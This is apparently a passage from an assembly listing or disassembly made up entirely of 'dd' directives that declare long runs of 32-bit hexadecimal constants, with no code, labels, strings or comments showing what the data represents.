		dd 497F0202h, 0ACE9C789h, 0BA00C178h, 538764ECh, 9C28142h
		dd 0D1480690h, 5F24A856h, 1EC14C20h, 55B30331h,	6363A20h
		dd 11B6838h, 8831CDAh, 8B141C40h, 18CA0A4Ah, 6873314Ah
		dd 0F8D87B44h, 0C2D64146h, 0B65286E0h, 0F313D770h, 1813305Ah
		dd 0FE0B9E04h, 0F666E987h, 0E758EA5Eh, 4CE0C0F8h, 0EA2D8406h
		dd 905CAD9h, 0D5EE2169h, 437F815Dh, 85800D5h, 805939EFh
		dd 0F79DB3B9h, 92C7814Ch, 6B8C2FE9h, 0DB688D20h, 8592462h
		dd 78A40B1Dh, 0C118B0F2h, 0B90B6FDAh, 921BE2Fh,	28826C7Bh
		dd 8CF49F0Eh, 31EE904Ch, 8C1C8377h, 0F38101FDh,	28155470h
		dd 0BD64328h, 1A9D5752h, 0AAE77808h, 69F096Eh, 0D5892CBEh
		dd 9A848175h, 0CAEF6F7Bh, 370808D6h, 2702FBEAh,	0B50188E6h
		dd 3B20F6B1h, 0B013D799h, 549AE583h, 0C52C42B2h, 0BD1062F9h
		dd 0FB720527h, 22D7F1F5h, 3CC9262Ch, 8949640Fh,	532BC224h
		dd 49522D95h, 0C284C4A3h, 1AD7792Bh, 0AFCB4119h, 626B050Ch
		dd 92D3CD1Eh, 7CFFF1A7h, 6F4D8FAh, 527B344Ah, 23B101F2h
		dd 357C1120h, 77D03B87h, 3A95D61Eh, 5A2D0129h, 0C8E92C79h
		dd 0B761BD81h, 75AE6119h, 0D5F36E54h, 0BF72E982h, 0B0C9A4FDh
		dd 0C02E3DE8h, 0E1800170h, 6AD1F667h, 0FA7C3363h, 4CB4D021h
		dd 322FF059h, 5925E3F3h, 70A36039h, 683957E0h, 2E30CF97h
		dd 0A03F4C47h, 0B9276ED5h, 167DEB76h, 0D3F73B60h, 0F641CB19h
		dd 665F00DBh, 2C969F01h, 0D8B70F31h, 7863D2EFh,	3A94B87Fh
		dd 680A2CF0h, 60DC2818h, 95E9E1B1h, 0F781CE96h,	6D9F06F5h
		dd 4C6837EDh, 30B2294Bh, 0EF88E313h, 0A30916CEh, 49B3933Fh
		dd 0F3011D96h, 872FEE50h, 4220DE89h, 9C10FE6h, 43FF33DBh
		dd 49523259h, 55B8F6E0h, 0CB67DF28h, 84B6224Ch,	25AEE83Ah
		dd 0A9D90884h, 2F35025h, 4757ED81h, 0C1563425h,	0E92E08A0h
		dd 808F0B8Fh, 0CAFE40E2h, 0FA2AB753h, 337C5BF4h, 0AA8DD5BCh
		dd 10B5B777h, 16BA21A0h, 8BC90A8Eh, 9BE9091Bh, 0BDF544EBh
		dd 80B15F0h, 6401333Ah,	93D9833h, 517E2FECh, 799CCDEh
		dd 44900606h, 0FD5C70DCh, 0F1BA17BAh, 0F65934D1h, 80D8C505h
		dd 6B75ADDBh, 1F180848h, 4A582F2Ah, 281BA478h, 0F0BC1724h
		dd 3E34080Dh, 0EF03DF29h, 0A0482CCCh, 4BE9FA31h, 0BD230123h
		dd 0C2B40E51h, 9F19A3FFh, 0E936B01Bh, 97049750h, 1685BB5Ah
		dd 47EFF765h, 7FE628BEh, 0F0E1B15Bh, 550A875Fh,	0E821DD89h
		dd 0F43F5B5Dh, 89979D48h, 7F9CFF01h, 6B3CD322h,	0C7C47CDh
		dd 2F42C166h, 0D8AD89CEh, 0C90C804Bh, 688548CDh, 9B6A7DE9h
		dd 63F82F56h, 3E5B29FAh, 80BEADA4h, 4C97E689h, 189DBC66h
		dd 5A59DD13h, 0BF40F4B8h, 2B892EBBh, 0AB353D98h, 4F34EE23h
		dd 370E6380h, 20809FC0h, 12950149h, 83A3E912h, 7FBB6197h
		dd 0F656F5A9h, 8076C770h, 5312AB2Ch, 0EFC5B868h, 5E878BFBh
		dd 5DC0E961h, 419ED158h, 0FB4C3FFAh, 9F5C5BE0h,	323192E4h
		dd 7047DDADh, 0BBA0AE4h, 723687E7h, 1EB07BD8h, 790562E0h
		dd 0D55DE914h, 50A976EFh, 96633A80h, 171AEEBFh,	0B9206F29h
		dd 9E129877h, 320600A0h, 37426856h, 5E270EECh, 6014F652h
		dd 0BD66EFEAh, 0D1D4794Fh, 48E90802h, 2002CCDBh, 0E98091A2h
		dd 937C1F7Bh, 0C5302141h, 0ECE613E4h, 7F3FE0DBh, 96649740h
		dd 97021E40h, 6844F01Ch, 375F920Eh, 8B476F58h, 4849788Ah
		dd 0E1207B42h, 0F2053D90h, 0F7AAC9FAh, 0E990C8EBh, 69CA652Fh
		dd 5AE1BE40h, 0B85E6768h, 7A052732h, 165B4A77h,	0D67BECF5h
		dd 0ED73A08h, 2D43AD66h, 74DA54C2h, 71B58158h, 9696AFCBh
		dd 7DFE91Ah, 0CD96C01Eh, 5BF82E30h, 2C4813D2h, 0F412885Dh
		dd 0A3F55CE9h, 8ABEE604h, 76BAC18Ah, 8420A43Eh,	89D14AF7h
		dd 0E43E61A7h, 36021972h, 52B59BAh, 7807F51Eh, 2E01A4Ah
		dd 2228EBD7h, 1DE249F5h, 0BAB100E2h, 0C5B0C1FEh, 8E1D030h
		dd 0B203F180h, 2C06C562h, 0FF00EA74h, 2DE9CBFEh, 9756BCBAh
		dd 4C60BC38h, 0F121B08Ah, 0E9C1025Eh, 36106806h, 906253D6h
		dd 0B5EED77Fh, 0A23782BDh, 5EB0E93h, 0E3F6A8F7h, 86FE933Eh
		dd 0EC3ACF21h, 60EBC001h, 0E4408825h, 203600BAh, 0CA817B1Bh
		dd 612F41F5h, 0BD93E83Dh, 0AC10C43h, 2C60D029h,	26620C73h
		dd 0D7CDEC78h, 2A2C4F45h, 5FD30418h, 0A6A1BD05h, 63E54EE9h
		dd 2D104C91h, 450DC41Ch, 0E7802BECh, 7D1F0D19h,	0CB10DDD1h
		dd 40028574h, 0B1078DD3h, 301800A9h, 3FF3F680h,	0D1AD182Ch
		dd 0D63114C0h, 0F264B1EEh, 0E9C2F071h, 8F55D3C9h, 18ACC209h
		dd 0F1048129h, 8C90E87Ah, 0EAD10691h, 0DA7D4700h, 0D05F527Bh
		dd 51E043ACh, 0C092CFE9h
		dd 0BE565301h, 0B8239C1h, 0D6C226F0h, 25EA18DDh, 27168BFh
		dd 464F1F2Ch, 0B7039E2Eh, 8361B64Eh, 0AC39D9FEh, 0BF961D2Ch
		dd 0AF00E825h, 39AD7F22h, 2E71ED01h, 0F3580802h, 867AA746h
		dd 21AD7165h, 0CDF80EFAh, 74D03C23h, 6B12E7F3h,	335E0668h
		dd 6F1F058Ch, 79B038F3h, 0DA0124FFh, 6B16AF3Dh,	0E9FE31B5h
		dd 0D528A1C5h, 4B738B97h, 0FFD2E6ADh, 9F580B38h, 232D8318h
		dd 5ED84302h, 8C05C801h, 27E99307h, 75972E4h, 0B1515300h
		dd 0B59AB7F0h, 0AE09C242h, 20484B96h, 0DD6A1012h, 34EE332Fh
		dd 4234D39Fh, 35C5A570h, 0E08D973Dh, 0EAB544E2h, 6809A3CAh
		dd 0D1E66638h, 5C6FF80Bh, 0C5B7892Eh, 3550126Ah, 2E3C82B8h
		dd 98C33783h, 9589D1CAh, 80AAAE2h, 92FAA782h, 51BF0325h
		dd 0C0E893DEh, 30A7051Bh, 4276DF33h, 6A08EAC3h,	0E570811Ah
		dd 1B304453h, 34FC17C6h, 94210BDBh, 204FE0E8h, 0F4033A0Fh
		dd 0F8E3894Eh, 0FD015B29h, 1B3238B5h, 415A2909h, 0E72A08ACh
		dd 508C4BFh, 901393FDh,	0D04EB4D3h, 4672411Eh, 0AA0D7D2h
		dd 17420BBDh, 20841D50h, 7529BBF6h, 5AEA22D6h, 0D3AC3026h
		dd 8C21000Fh, 8151435Fh, 69B6E204h, 9C06698h, 3C41DAE7h
		dd 74892DD0h, 0D0DE58A7h, 0B3990720h, 0F9C9560Dh, 9CDFB9DBh
		dd 68C2A66Ch, 0D75B72C7h, 0ED082524h, 0FB290BB3h, 0B903D3D6h
		dd 0B0350144h, 0E64032E3h, 0FECD9053h, 30C52F64h, 0AC8002F8h
		dd 6A2DF2A7h, 0BDE2ECF8h, 6D8862C5h, 0CFBA3D9Eh, 52B0238Bh
		dd 209E0FD5h, 4B78CBF7h, 84574B0Fh, 9642FB8Ch, 0C138428Fh
		dd 407A5C00h, 880C28Fh,	7A971D78h, 0DD0882EEh, 1442C5CCh
		dd 1BF3E909h, 51267659h, 18829608h, 0C425425Ah,	0ACA2B6E2h
		dd 0F1426B89h, 81034951h, 0E21E62F5h, 0AC007D05h, 21782366h
		dd 0E481F09Fh, 2FB69CCAh, 5A09805Bh, 0FEE4895Fh, 88F2A565h
		dd 0E57B8227h, 984C0867h, 9C24E2Dh, 602E707Fh, 84B91EF4h
		dd 0ECB71D6Eh, 6D615D80h, 29150088h, 9BBB53D6h,	0E670D2Dh
		dd 62C3CD5Ch, 5CBB052h,	231B274Bh, 0D4FFE452h, 0A5259EFFh
		dd 27137029h, 8737560h,	0DDFD5509h, 0E9559192h,	2569C217h
		dd 24B2680Eh, 0F2F3A497h, 0B0CF8000h, 0E9A4B450h, 90134B63h
		dd 0EF4CB51Ah, 0D1014513h, 4B084210h, 11DE9DA9h, 0B6E12459h
		dd 4306A200h, 1E78114h,	5FA1EF4h, 0F0A4B850h, 0F9B60442h
		dd 55A2C227h, 0E4261930h, 0F6F02880h, 245A7518h, 87B52C8h
		dd 0BA019159h, 8233406Ch, 5E77B02Eh, 0ECAC6340h, 0E49A5EFBh
		dd 0FA864B2Bh, 0EF49CD4h, 0BCE9D921h, 6E25B9F6h, 4260977Eh
		dd 48609B2Ch, 2803710Ch, 0A2F3B810h, 0C080D22h,	0E6541405h
		dd 0BF8E1151h, 0D602F35Eh, 93A42C24h, 32586BBDh, 0C5F9AFFCh
		dd 33EC27D7h, 0C328C5E0h, 0D96BD4CBh, 40868B0Ch, 7E377266h
		dd 6C605F61h, 5C29F913h, 0D0046441h, 85D605C0h,	7A8709C8h
		dd 0ABF76992h, 2DE9251Eh, 0E92B43FAh, 4F27C6C9h, 0A8015CC2h
		dd 0D5A9DC5h, 0FABD553Ah, 0E93F2304h, 30BB8583h, 0FBC38039h
		dd 0C05A07F8h, 0FC3CF041h, 0E12E6742h, 5F8D4042h, 4F79921Fh
		dd 7222EE61h, 81649910h, 4B5FEC95h, 3035F073h, 0CC4B4C30h
		dd 25677D4Eh, 25D64152h, 62C21002h, 0EA62D535h,	8406C27Fh
		dd 22AC40F8h, 0B569E5Fh, 9A918AE9h, 0BD5C8011h,	1C68BB54h
		dd 0DD490735h, 5E465F72h, 4B562D94h, 2BAE0F0Bh,	0B9CC047Dh
		dd 0D5DCE249h, 9774AFC0h, 9676C00Bh, 0E9636B66h, 4180D54Bh
		dd 2F6C71BAh, 2203562Ah, 0CEC8A605h, 0E135E995h, 2FB455DFh
		dd 0BD9B9F58h, 7AD1524Eh, 972879E9h, 4BED8007h,	16507920h
		dd 92F2F027h, 611F41F1h, 0C90BE00h, 0F613D05Bh,	4EA4795h
		dd 0AADCF51Fh, 0CC4A31CEh, 7B096806h, 0DE6E0B2Ah, 874F65E7h
		dd 6C01611Eh, 4E82881Bh, 1EBB2CB5h, 6EA30967h, 0DE3DA3F1h
		dd 190F5A81h, 125E1EB8h, 0CD32F24Bh, 0DC6F9910h, 58BD5923h
		dd 0C9915446h, 282316B5h, 88E90AE8h, 92123F9Ch,	0C30EFDF8h
		dd 915B41BAh, 0F02B310Eh, 0DBB55A38h, 803628ECh, 25505312h
		dd 0CC0414E9h, 8D7E8047h, 454A606Bh, 41574EE0h,	30852858h
		dd 35BE0DA3h, 96B015Dh,	31C7F681h, 0F5316048h, 0A416E913h
		dd 4268FC90h, 595C7682h, 2C208BF7h, 2776DD27h, 0F009A1CBh
		dd 9FF5EB63h, 366A33Bh,	6F572968h, 70CFEA6Ah, 645E514Dh
		dd 6DE22ADh, 89E7E99Fh,	0B1C7D76h, 76E9572Dh, 4E358B45h
		dd 1C209F7h, 0E8615F80h, 82325AEAh, 44FBD408h, 0D04CFFD2h
		dd 0F4F665A1h, 7EA05C0h, 9ECF280h, 40FE5EE4h, 20D0296Fh
		dd 98685688h, 19332C03h, 0F8F601A2h, 0D8694436h, 0F1F49DEEh
		dd 0D6A450EDh, 89300685h, 74C22AF3h, 77050450h,	0B9CDF7E9h
		dd 8B691056h, 0AA09BA4Ch, 0AA588725h, 69EF17D2h, 0EAE32ACFh
		dd 998FBCD2h, 7738C668h, 0AA4D85D7h, 0B24AF7CAh, 99DDC464h
		dd 1D02D109h, 4CE6896Eh, 0BD3F77Bh, 857FF805h, 55CCAAE9h
		dd 220605D0h, 9BD6462h,	0DD29250Bh, 4F20A4DAh, 39CFE86h
		dd 812CB46Fh, 14F1C7E5h, 6CE74055h, 495C8A67h, 0EFED0196h
		dd 14D9E8Bh, 0AF79D1D6h, 757222F1h, 0B49DE6ECh,	0DF3B76Dh
		dd 7262411Fh, 3032BD92h, 0C43E6868h, 1728EA88h,	0C520B72Ah
		dd 3C0901B4h, 6B260A5Dh, 8062CA5h, 2A18051Ch, 245B538Fh
		dd 659DBEEAh, 4514173Ah, 0EEB13ACCh, 0C4E22E21h, 0D6345820h
		dd 0A6951810h, 8082812Dh, 0A910DB54h, 465E3E0Bh, 1A870E99h
		dd 0BCDA6031h, 0E09D7A9Ah, 91AA18B8h, 955EA7B7h, 5A25C510h
		dd 0C89EC0F4h, 60F9CDC8h, 0FAB35351h, 0ADCB8012h, 6906FF59h
		dd 13240030h, 175BDD88h, 96D4F874h, 8EAAA212h, 24B758Bh
		dd 4FE9AB8Ch, 1CC7AD4Ah, 81C3DAF7h, 0C40176F2h,	390235ACh
		dd 68B1E90Eh, 29C546D4h, 7BF7EB81h, 68137F26h, 6A98E474h
		dd 0B960EC9Eh, 0B8622BA4h, 0F1C904A2h, 87110370h, 295F418Bh
		dd 6C3A604Ch, 0B24AE6B4h, 0A0ECB762h, 8081B525h, 41E292E5h
		dd 0E8FEE991h, 50CA01C5h, 0A4BBACE1h, 0F74B36CAh, 0E6B72EBCh
		dd 92799751h, 8D98FEE7h, 7E6253DEh, 2D68F1D8h, 82593790h
		dd 5B0251B7h, 0B40F4152h, 2F69AC04h, 9FD35AEAh,	0F3A9BF68h
		dd 78F58080h, 0C2FB2F44h, 424EA45Eh, 82E3C0D8h,	4CF62688h
		dd 0CA95F294h, 11520193h, 3CB74A8Ch, 31174C4Ch,	0C872BEE6h
		dd 58C2C052h, 1F4036Dh,	0A38B57BAh, 0E9C229D0h,	0D8C4302Ch
		dd 94105E6Ah, 79A2D22Fh, 47D55354h, 0B951085Ch,	2D3B7649h
		dd 447AC81Ah, 4E3BC745h, 622715FBh, 0EC1CD56Bh,	782125CCh
		dd 0BCE20481h, 80797F60h, 2C11F456h, 0EB04407Ch, 41C2215Bh
		dd 45094EAh, 0E8515A08h, 3DE9841Ah, 295CF391h, 40F49848h
		dd 9A2EBF52h, 0AF24F167h, 777CBE02h, 6D49D51Eh,	289D7417h
		dd 9623719Dh, 5608A51h,	0E3282BB4h, 0B7CF3CC1h,	0E039E00Dh
		dd 4B227195h, 0E850BB04h, 3C663CC3h, 0F82327D8h, 82F19FD9h
		dd 54966C6Ah, 0B85E5B8Ah, 9F83A38Dh, 2B30FDF9h,	44BF689Eh
		dd 7BA0814Ah, 0C158A1F8h, 1A68FDEFh, 582F7338h,	53CD240Ah
		dd 76E7589Dh, 0C071501Ch, 0A84CAA83h, 8688EFA8h, 7C531F0Eh
		dd 0B0F212DEh, 29C938CDh, 0A5595E2Dh, 6BB80CE0h, 0F778F00Ah
		dd 482702D2h, 4BA2E9D9h, 0ED399D08h, 9D74C67Eh,	0D168F173h
		dd 0BD97ED7Ch, 98810A0h, 0CC9CB04Ah, 7FEBECA4h,	0F24E29A2h
		dd 0D6C9DFF2h, 786B5A65h, 682C5D06h, 48D8F709h,	79096378h
		dd 82095F4Ah, 517E66ECh
		dd 8911A43Eh, 44562F6Ah, 4A90E978h, 782649DDh, 20BF0D20h
		dd 1A7A357Eh, 0C6B38A2Ah, 2F20C792h, 37BD07ADh,	0A3231F73h
		dd 3802144Eh, 0CF15462Dh, 5D6852Eh, 59680702h, 6140F636h
		dd 6BFB72F0h, 4DC70E01h, 0C9476378h, 2CEC46C1h,	1748D668h
		dd 0C73FFB00h, 58C3213Ah, 982529Fh, 0DDBFF85Bh,	0E98AEFD1h
		dd 0E4A0F40Dh, 202EF8BDh, 6604C9E2h, 8AF58851h,	0B302BBC3h
		dd 8108486Ch, 0D335AC31h, 0F6EF6087h, 2EF0A109h, 256EFC97h
		dd 688F39C5h, 9F99566Eh, 5F37323Eh, 0BD4BDF50h,	29319FF9h
		dd 2F5D0872h, 5FDA4E4h,	0E91F625Ch, 0A7D2D7AFh,	824AC5D1h
		dd 6801DF30h, 0DF4D77CBh, 8C3FA5E1h, 6F4DE93Fh,	0E1B81F9Bh
		dd 50126C5Ch, 91ABC385h, 3A3CE9B8h, 0E0CA4DD0h,	289C1C3Ah
		dd 39B0684Ah, 7A8554D7h, 0AE75A1E9h, 9182D527h,	9C5AFCE0h
		dd 204F84D1h, 27D9AB59h, 3992C96Dh, 228B2F21h, 7BBE5601h
		dd 3002883Fh, 0C00489E3h, 0F201FD77h, 0E9E744BEh, 5EE2F8D8h
		dd 43E8C517h, 816B991Dh, 4674FBE1h, 0A6F1F006h,	0E6446428h
		dd 4A37920h, 1B1C6EBFh,	53AEC6Bh, 37AB33A6h, 2DE96AB0h
		dd 7CD1DA24h, 4484B60Fh, 4957CF9h, 401DCDA4h, 0CF772150h
		dd 7E83C127h, 20A96045h, 0C2B83AA7h, 12A7241h, 1C54AEA2h
		dd 0EBA53F55h, 8BE90801h, 0A50853Ch, 2BA20F47h,	40C2ED81h
		dd 0A0C02C18h, 7548F8E2h, 0A62F1320h, 7C10AFD2h, 3417A6F7h
		dd 0A6D8FE16h, 8F25B554h, 0EB1B0B37h, 5D932756h, 0D164C977h
		dd 0C89598BAh, 0A9F47444h, 0A03B28D1h, 5A6B6689h, 4FFF216h
		dd 2A6C50EEh, 0D5D2FAC3h, 0DAAEF768h, 8C5E74C9h, 3F4F8088h
		dd 315A0E92h, 395B54FCh, 38FBCF00h, 7FD6F75Fh, 0A3224E74h
		dd 93B80285h, 0D0672B5Dh, 0D1E912EDh, 0B1EA21C8h, 75D49017h
		dd 0C7295B0Dh, 492A96DBh, 0A22B11E1h, 0D370C498h, 74F18807h
		dd 0AA9194B8h, 71FEBB16h, 6BF9E689h, 0F5726761h, 564EC710h
		dd 0C20D0230h, 27A48F65h, 63D22D3Dh, 6DA5054Fh,	877A0E3Eh
		dd 0E074BAD3h, 4993D1F6h, 7349D945h, 0B2FEDCEBh, 0DF015592h
		dd 798BCF81h, 0EFD8721Ch, 907B7BD7h, 61FD5818h,	0E2734F2Fh
		dd 474DB881h, 20A4226Bh, 0DCFAF53h, 40576885h, 5CBA494Bh
		dd 37FA6019h, 0D29D47C5h, 5A088182h, 5CF4287Fh,	8587285Ch
		dd 4F5E4E6Dh, 0B0B49D13h, 0F65A0BEFh, 95D4801h,	2F1875E1h
		dd 5280A023h, 0EC3E5BB6h, 85BF1237h, 34EFCE34h,	8301AF1Ah
		dd 67C945EAh, 0A24A7168h, 400417E2h, 922060A1h,	295D816Dh
		dd 5ECA4ED8h, 411A542Dh, 785A3A78h, 7F977B31h, 0E45FC5BFh
		dd 66B55B7Dh, 0C0E6B683h, 16B96114h, 1CEAF0B5h,	80F06656h
		dd 92817EBBh, 0F9A02999h, 7D82FDCFh, 7878328Bh,	8DF69h
		dd 0F962FA39h, 2F01BFAEh, 30269041h, 0A24B4FA0h, 7D7FC191h
		dd 0D0BA0D81h, 0ED4CF731h, 261839B4h, 6B1050C5h, 0FE050B4Ch
		dd 353D4Dh, 8D2D078Fh, 1E484A73h, 0F9102F3Fh, 595404A9h
		dd 8105C11Bh, 0C98D7E78h, 0AF925772h, 9F00666h,	1C97411Dh
		dd 21E87E81h, 7DB02B95h, 0DC311732h, 81B9D50Ah,	4698A7Eh
		dd 0F53AD3AAh, 5FC1DF4Bh, 5126C968h, 9D1BE909h,	183DA3DBh
		dd 4612E20Fh, 9085B54Eh, 7ECC29EEh, 1DB93900h, 0BF010C91h
		dd 0CA3EA679h, 0CEFFA185h, 0C7B10206h, 5E2DC180h, 2CE887C7h
		dd 4C5F59F4h, 0D12ED0D4h, 8C865613h, 5B16BA5Fh,	0F7F8771Fh
		dd 19A4630Bh, 7F227700h, 18C1579Eh, 43986801h, 12CE7D60h
		dd 4268FB8h, 0EC31145h,	45BB9330h, 316D24F9h, 3C5258CAh
		dd 82278443h, 0A82D5E00h, 6D011372h, 51E33548h,	812A50EBh
		dd 2A082EB3h, 9D308EB3h, 0A3BBE53h, 0F72DE316h,	0AE557440h
		dd 929BBA7h, 0BE14E9F3h, 0E96F2079h, 0A416F7C6h, 0EB285695h
		dd 0A65317FCh, 142E4C85h, 262CC48Ah, 17A418D7h,	391296EEh
		dd 0C4BA5368h, 1C081A33h, 0D1F029FDh, 42F1ADBFh, 650BF9A3h
		dd 4F7A769Ah, 0FC61F20Bh, 4A006AD1h, 326DF0DEh,	5AD2BF09h
		dd 0F028942Fh, 0EF60672h, 182D7E6Ah, 8A21F80Ch,	7F908203h
		dd 0E9F412EFh, 50E881BDh, 4D7ADC56h, 0F7800ED2h, 2C5BD930h
		dd 1056CB28h, 56552F83h, 3B03711Ah, 0C5B86EC8h,	0E9AE6855h
		dd 0DA4D24AAh, 5EF3288Ch, 2E3B93Bh, 0CBE95455h,	0BD012AD0h
		dd 3A7D62C0h, 0C22EEDD1h, 5F04D085h, 0F0798DEAh, 0C399B3E5h
		dd 932D4231h, 0C5E05303h, 0BCD3D888h, 46701BBh,	0C1E92C8Ch
		dd 0DA12AD0h, 0C4930DBCh, 57F9889Eh, 3B156805h,	0D3C27D29h
		dd 0BF8250C6h, 2CC45AD1h, 0AF57E505h, 0EB529E33h, 0E9D7F8F2h
		dd 0A90D58F0h, 277F8B4h, 765EA068h, 0EDD68034h,	4CF826D2h
		dd 6A004579h, 68B7DFDBh, 37AA2455h, 0E2A1E2C0h,	94807F82h
		dd 2A6866AAh, 5BCB1A74h, 506D02B1h, 9BE72D2h, 0D36F92B8h
		dd 66CCC0E0h, 992DD082h, 0FE690A7Dh, 0CBBD6084h, 25F6054h
		dd 429CF160h, 310D16F7h, 4040F3DDh, 3175D80h, 77B87CB6h
		dd 0E3205058h, 34BA660Fh, 0CC582414h, 0DD2144FEh, 4965AF94h
		dd 7C98D8BBh, 5C1C8BB7h, 0A0745A4Dh, 0F31E16B6h, 90F2887Fh
		dd 7F430F62h, 202A794Ah, 26200084h, 0F2810514h,	0F1140738h
		dd 128A2977h, 34A40A41h, 0EC4C1755h, 6541FA47h,	6FED3084h
		dd 10F40C83h, 0EBE0415Ah, 44FC1B35h, 7A418EB8h,	0C104AB29h
		dd 0AE32BC5Eh, 2DE96CA0h, 317E6A49h, 0B7D05270h, 67F682A2h
		dd 44AC0C3h, 5ED6021Eh,	3B8651D0h, 9EC320E9h, 0F106E990h
		dd 2EF65145h, 93B9090Ch, 0A748438h, 4770F030h, 0D6166575h
		dd 6CC87DCh, 0EB51D601h, 2B422108h, 0B692CC8Ah,	0C2BA1063h
		dd 0FAAFF44Fh, 0BFC9839Fh, 68608171h, 8118007Bh, 0DC117EE7h
		dd 47D5145Fh, 0C702FBE8h, 5BE135A7h, 0F97E77Fh,	94241305h
		dd 79F8C22Dh, 0E7EAC003h, 744F3582h, 2B58C766h,	8342655Ch
		dd 0E0570D49h, 0A097E871h, 69C2F2ACh, 0EA6AB02Ah, 43361391h
		dd 593F08C9h, 0F7D12809h, 77297109h, 542731E5h,	0D466C4D8h
		dd 0A4E3ABCFh, 0C27EF892h, 0D435DF68h, 0EC1962FDh, 57F30102h
		dd 884B3251h, 212C502h,	82F558ECh, 68017329h, 0D87B7EAAh
		dd 0D7000EB9h, 2047C742h, 1D052BD9h, 0EB7729A7h, 67C18F38h
		dd 8D10686h, 20EF6FEEh,	0ED4096E4h, 0B60A5F8Bh,	0F4474BCh
		dd 0B8624054h, 6D60B907h, 6F200518h, 30D1BA5h, 71CC76BCh
		dd 29589BE9h, 35E60BF0h, 44B485D7h, 171000E9h, 53591391h
		dd 0D93C600h, 45F3194h,	0DF216FBBh, 93ABC648h, 5C27019Ch
		dd 66D57282h, 6FC22129h, 8DA885ADh, 676FDC29h, 177C788h
		dd 0DB0117B5h, 889EFC2h, 29259845h, 7C805D3h, 0ADD806BBh
		dd 0F702635Eh, 6C9D1EB9h, 7665FD29h, 6C9075A5h,	0E9252347h
		dd 5E59F806h, 0D7BC6159h, 0DBC2042Dh, 0F70803C5h, 88E4B9h
		dd 0A50B5BFh, 0C7317B68h, 8D3EF54h, 0D4AF01B2h,	4BF890C4h
		dd 13FB3817h, 0B21C4469h, 0E3B0BA73h, 5501971Fh, 0CD51FBBBh
		dd 0CF2A3049h, 0D884E716h, 894ED304h, 177BB7CDh, 8D042232h
		dd 0CA682660h, 0CACC445Bh, 0C14740ADh, 0B198EB79h, 0FCBDAC05h
		dd 3EC73168h, 18C7E9C4h, 337D8640h, 0D7514EFFh,	9402D4EBh
		dd 0F7B2AB17h, 0D534AF92h, 0F171B382h, 92DECF30h, 0F7A046FCh
		dd 49B51576h, 5DD88976h, 0EBF95829h, 954DCA22h,	0AD463FDAh
		dd 0BA5CA4Ch, 0F281F6ECh, 0CAC24076h, 0D70101CDh, 9DD12A5Ah
		dd 8004D319h, 0FD7A0A3Dh, 0E8317F09h, 45E9545Dh, 0A7EEEC89h
		dd 0A36C0988h, 0DD123773h
		dd 620342C0h, 69169638h, 0A768EDB0h, 438A6313h,	0EB6E2CBEh
		dd 9C61FB05h, 0ECA15333h, 8BD1F52Bh, 74BA2362h,	685C41B8h
		dd 9E136A49h, 1C41AADh,	9489F9CEh, 21BB93D6h, 9646A492h
		dd 0C0F9FA4Fh, 0F6C0F02Fh, 5697EA81h, 0EDE125B0h, 80EC5043h
		dd 2C0EDDF7h, 0E1C0492h, 5300DDF8h, 0B742B652h,	0EF8009AEh
		dd 98022839h, 925FC76Fh, 0B547C14Ah, 3BEC13B0h,	9849E37Eh
		dd 68A61090h, 80F50F70h, 0D24BFEC5h, 7427887Ch,	0C348EBD8h
		dd 0E91A5356h, 4027B520h, 0EAF8BF02h, 6030E731h, 0CEB7C7E4h
		dd 0CDEE3044h, 3DB0F428h, 32BDE6E8h, 0F5810BA9h, 8FFE8429h
		dd 8940F420h, 53CC0FFEh, 0DCC7A3B3h, 1BE7D65Bh,	0E22943B7h
		dd 562C034Eh, 0D5E1D082h, 320B7E5Ah, 69AB57DDh,	18C23C7Dh
		dd 0CBCB51E9h, 7C5EB168h, 5F712488h, 92D6E96Dh,	0F820ED82h
		dd 0D122BD38h, 68015ABAh, 307E1B77h, 0B25360B8h, 2BF2D4Ch
		dd 3E8F5D7Bh, 7CFB4152h, 0C2BED12Ah, 6A93F460h,	454E94F8h
		dd 57988C90h, 813D0180h, 0DC77ABC9h, 49163011h,	0C2238812h
		dd 1B29C3A1h, 0FE616485h, 16E443Ch, 2D1EAD13h, 30B6566Ch
		dd 7A40A9C6h, 2E628C0h,	0B873D6h, 526609C6h, 12454F6h
		dd 0E6C9E0B5h, 60E7AADDh, 815DF532h, 97DA3D57h,	8933DEDh
		dd 0F02DCA9Eh, 0E98FF068h, 775F1096h, 74A7F149h, 1AD6EEBAh
		dd 0E91308A0h, 8540512Fh, 8048B753h, 0FECD07E7h, 73D7F6C7h
		dd 147B2ACFh, 0FDB0501Fh, 1524C847h, 0FC7202F9h, 6FD40B9Dh
		dd 6C075EEBh, 4627680Dh, 253CE635h, 8044EF19h, 0BD5CC730h
		dd 0B460D05h, 0C529F32Ah, 6AEBEE02h, 0DDD75D05h, 0F08A94h
		dd 0C383244Bh, 5D7080Fh, 0B3BB14C0h, 7AE9341Bh,	0FD978522h
		dd 24A79401h, 3D40DEBCh, 763ED44Ch, 991A229h, 0A39F0308h
		dd 5E9D4AAAh, 0C5E39725h, 880FF30h, 30D5B6C8h, 81B231ADh
		dd 6B02D4EDh, 9EE97750h, 0E990DF69h, 0C98565Ch,	0D2205248h
		dd 5B8CD901h, 0EFE4471Ah, 5968145Dh, 7A816825h,	0A7702328h
		dd 2D65070h, 0EE6EA305h, 0DAC40194h, 0AB8DE913h, 0D6DEAAFDh
		dd 5E784503h, 871A8521h, 0C118014Bh, 607BFC01h,	2F7C5AAh
		dd 90BAF3B3h, 3DA7638Ch, 0F1B385FBh, 14AB8045h,	2470CE82h
		dd 0CD0E1F4Eh, 4404B3EBh, 5C0B4A18h, 0D62C105Fh, 0D7F48A43h
		dd 18FC701h, 0F7CD6B87h, 5C088EA0h, 6F2D635Eh, 65082965h
		dd 83AD03D5h, 0AA84207Fh, 385F7C2h, 2B826852h, 2822314Ch
		dd 0FDD14ABAh, 0E4A013C6h, 5456E131h, 44947289h, 115B05Fh
		dd 0A8916DAh, 9770E95Ah, 0ED4A2A7h, 68EF5F30h, 149B2BACh
		dd 0E8190439h, 5BA476Dh, 0FBA426A3h, 51064ECAh,	0F94C8268h
		dd 97DCBB20h, 8442CCF9h, 27AF84C8h, 10F65B4Bh, 825F3F58h
		dd 76AFCE02h, 62D90102h, 0C390FD78h, 0BAA85016h, 351642CBh
		dd 95B15DA6h, 11FC300h,	132EED90h, 0EB4B007Ch, 2138574Dh
		dd 0E86C0E97h, 84C2453h, 0EA8BBF7Fh, 0E09BF808h, 5975E124h
		dd 0ED44248Dh, 998EFE8Bh, 51AB9C72h, 8002B921h,	71074E53h
		dd 6818CF01h, 5DE15F1Eh, 587E97EEh, 0E6EFDFE2h,	40D5F0DCh
